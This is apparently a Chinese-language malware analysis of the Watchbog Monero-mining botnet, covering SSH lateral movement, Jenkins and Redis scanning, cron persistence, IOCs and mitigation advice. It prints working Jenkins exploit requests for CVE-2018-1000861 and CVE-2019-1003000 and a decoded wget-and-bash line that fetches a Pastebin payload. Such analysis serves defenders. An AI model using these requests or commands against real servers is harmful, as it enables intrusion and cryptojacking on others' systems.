对 Watchbog Botnet 渗透过程和 Payload 的分析
漏洞利用
- CVE-2018-1000861 https://jenkins.io/security/advisory/2018-12-05/
Watchbog在做什么?
Watchbog僵尸网络为其所有者挖掘Monero加密货币
通过SSH进行横向移动
使用SSH进行横向扩散。使用网络日志可以看到大量的SSH流量
以下Bash脚本用于促进横向移动过程。检索受感染系统上的known_hosts文件的内容,然后尝试SSH到这些系统。还检查SSH密钥是否存在,并利用它们对known_hosts文件中的系统进行身份验证。如果成功则启动感染模块。
通过JENKINS和REDIS服务器进行横向移动
除了利用SSH进行横向移动之外,Watchbog还尝试利用Python脚本扫描主机子网上的开放Jenkins和Redis端口。如果脚本发现任何易受攻击的服务器,会尝试使用curl或wget命令从Pastebin检索有效的Payload并在目标上执行。
根据第71行的以下字符串,该脚本以CVE-2018-1000861为目标,这是Staple Web框架中的漏洞,适用于处理HTTP请求的Jenkins 2.138.1或2.145版本。
持久性机制
使用cron,dropper每小时调用Pastebins以获取新信息。下面的截图显示了Watchbog配置负责实现受感染系统持久性的cron作业的方式。
受害者机器上的Payload
CVE-2018-1000861 :
GET /securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=True&value=public class x{public x(){new String("776765742068747470733a2f2f706173746562696e2e636f6d2f7261772f42335235556e7768202d4f202f746d702f62616279".decodeHex()).execute()}} HTTP/1.1
Host: [victim_host]:[jenkins_port]
针对CVE-2019-1003000的攻击
GET /securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile?value=@GrabConfig(disableChecksums=true)%0a@GrabResolver(name=%27orange.tw%27,%20root=%27http://45.55.211.79/%27)%0a@Grab(group=%27tw.orange%27,%20module=%27poc%27,%20version=%278%27)%0aimport%20Orange; HTTP/1.1
Host: [victim_host]:[jenkins_port]
CVE-2018-1000861是Jenkins的Stapler Web框架中的漏洞,而CVE-2019-1003000是Script Security Plugin中的漏洞。
前CVE-2018-1000861有效负载中的十六进制编码部分下载并运行恶意shell命令:
···
wget https://pastebin.com/raw/B3R5Unwh -O /tmp/baby
bash /tmp/baby
···
包含的url指向另一个pastebin url(https://pastebin.com/raw/J6NdVBHq),它指向另一个。
恶意shell脚本的主要部分已编码并放在https://pastebin.com/raw/KGwfArMR中。
挖掘和持久性
在执行上述shell脚本期间,通过从以下URL下载(从$ mi_64解码)在受害者服务器上安装加密货币挖掘器
https://github.com/xmrig/xmrig/releases/download/v2.14.1/xmrig-2.14.1-xenial-x64.tar.gz
挖掘的配置文件如下:
恶意shell脚本通过将自身添加到crontab来维护持久性。
其他被篡改的crontab文件:
IOC
Hashes (SHA256):
b383d0fdfa5036ccfa5d9c2b43cbfd814bce8778978873057b86678e5295fc61 0b0567c9b45ea0a3ea4267001f0760ccdf2b8224fceaf8979d32fcceb2d6fb7a
3A6271A90D0F6CC8A2D31D45D931E8401F13F7377932BA07D871DC42F252B9CA
Domains:
aziplcr72qjhzvin[.]onion[.]to
安全建议
- 内部使用服务不应暴露于互联网。使用适当的ACL或其他身份验证技术仅允许来自可信用户的访问。
- 用户必须及时升级其软件,尤其是当软件供应商发布了与安全相关的建议时。
参考
- https://www.alibabacloud.com/blog/return-of-watchbog-exploiting-jenkins-cve-2018-1000861_594798
- https://blogs.jpcert.or.jp/ja/2018/06/wellmess.html
对 Watchbog Botnet 渗透过程和 Payload 的分析的更多相关文章
- WEB安全番外第六篇--关于通过记录渗透工具的Payload来总结和学习测试用例
背景: 在WEB安全的学习过程中,了解过了原理之后,就是学习各种Payload,这里面蕴藏着丰富的知识含量,是在基本上覆盖了漏洞原理之后的进一步深入学习的必经之路.无理是Burpsuite还是Sqlm ...
- Wireshark抓包分析TCP建立/释放链接的过程以及状态变迁分析
Wireshark抓包分析TCP建立/释放链接的过程以及状态变迁分析 一.介绍计算机网络体系结构 1.计算机的网络体系结构 在抓包分析TCP建立链接之前首先了解下计算机的网络通信的模型,我相信学习过计 ...
- 端口渗透·网站渗透过程 --21 ,22,873,3306,6379,8080(8080端口是针对CMS的渗透)
声明:文章渗透网站为模拟环境,文章只为利用过程 文章为信息收集和端口渗透两部分,21端口为ftp版本漏洞 8080端口为CMS的渗透 信息收集: ·使用扫描工具nmap ,PortScan 对整个网段 ...
- 记录一次坎坷的linux内网渗透过程瞎折腾的坑
版权声明:本文为博主的原创文章,未经博主同意不得转载. 写在前面 每个人都有自己的思路和技巧,以前遇到一些linux的环境.这次找来一个站点来进行内网,写下自己的想法 目标环境 1.linux 2. ...
- hack the box -- sizzle 渗透过程总结,之前对涉及到域内证书啥的还不怎么了解
把之前的笔记搬运过来 --- 1 开了443,用smbclient建立空连接查看共享 smbclient -N -L \\\\1.1.1.1 Department Shares Operatio ...
- 一句话下载总结(用于后渗透上传payload)
利用ftp来下载payload文件 echo open 192.168.1.1 21> ftp.txt echo ftp>> ftp.txt echo bin >> ft ...
- 一次绕过防火墙获取RCE以及提权到root权限的渗透过程
本文是关于Apache struts2 CVE-2013-2251是由于导致执行远程命令的影响而被高度利用的漏洞.简而言之, 通过操纵以“action:”/”redirect:”/”redirectA ...
- mysql渗透过程
1 打开目标站点:www.xxx.com 2 注册账号并登录,大概找下注入点,没找到 3 用namp -A -T4 目标站点扫描开放的服务 发现mysql等 4 猜弱口令 + 字典 对mysql进行 ...
- Linux内核启动分析过程-《Linux内核分析》week3作业
环境搭建 环境的搭建参考课件,主要就是编译内核源码和生成镜像 start_kernel 从start_kernel开始,才真正进入了Linux内核的启动过程.我们可以把start_kernel看做平时 ...
随机推荐
- leetcode解题报告(28):Remove Linked List Elements
描述 Remove all elements from a linked list of integers that have value val. Example Given: 1 --> 2 ...
- linux安装sox,踩过坑的方法
参考文章 : https://blog.csdn.net/e_zhiwen/article/details/80037476 重新在源码中 执行一遍 ./configure --prefix=$HOM ...
- 常用命令备忘 lsof
lsof命令 可以列出被进程所打开的文件的信息.被打开的文件可以是 1.普通的文件, 2.目录 3.网络文件系统的文件, 4.字符设备文件 5.(函数)共享库 6.管道,命名管道 7.符号链接 8.底 ...
- Android Studio导入google training example gradle失败
Error:Unable to tunnel through proxy. Proxy returns "HTTP/1.1 400 Bad Request 每次从github的Google ...
- VMware虚拟机找不到USB设备该怎么办?
VMware虚拟机找不到USB设备该怎么办?打开虚拟机发现竟然找不到usb设备,键盘和鼠标都是usb的,这该怎么办呢?出现这个问题是因为VMUSBArbService服务没有开启,下面分享开启的方法 ...
- mysql集群高可用架构
前言 高可用架构对于互联网服务基本是标配,无论是应用服务还是数据库服务都需要做到高可用.对于一个系统而言,可能包含很多模块,比如前端应用,缓存,数据库,搜索,消息队列等,每个模块都需要做到高可用,才能 ...
- 利用iterm2,在命令行预览图片,服务器也是可以的
1.首先你本地电脑上要安装iterm2软件,我们这里使用brew安装 这个是一定要装的,因为能在命令行渲染出图片文件全靠它,其实不是服务器渲染出来的,而是iterm2 官方网站:https://www ...
- HikariCP 连接最快的连接池
三点原因 1.字节码精简 2.自定义 FastList 代替ArrayList ;避免每次get()调用都要进行range check,避免调用remove()时的从头到尾的扫描: 3.优化代码和拦截 ...
- 深度学习面试题25:分离卷积(separable卷积)
目录 举例 单个张量与多个卷积核的分离卷积 参考资料 举例 分离卷积就是先在深度上分别卷积,然后再进行卷积,对应代码为: import tensorflow as tf # [batch, in_he ...
- html常用标签详解
html常用标签详解 一.总结 一句话总结: 这些资料没必要自己总结,可以直接网上找,简单方便,再根据需求改一下 二.HTML常用标签详解 转自或参考:HTML常用标签详解https://blog.c ...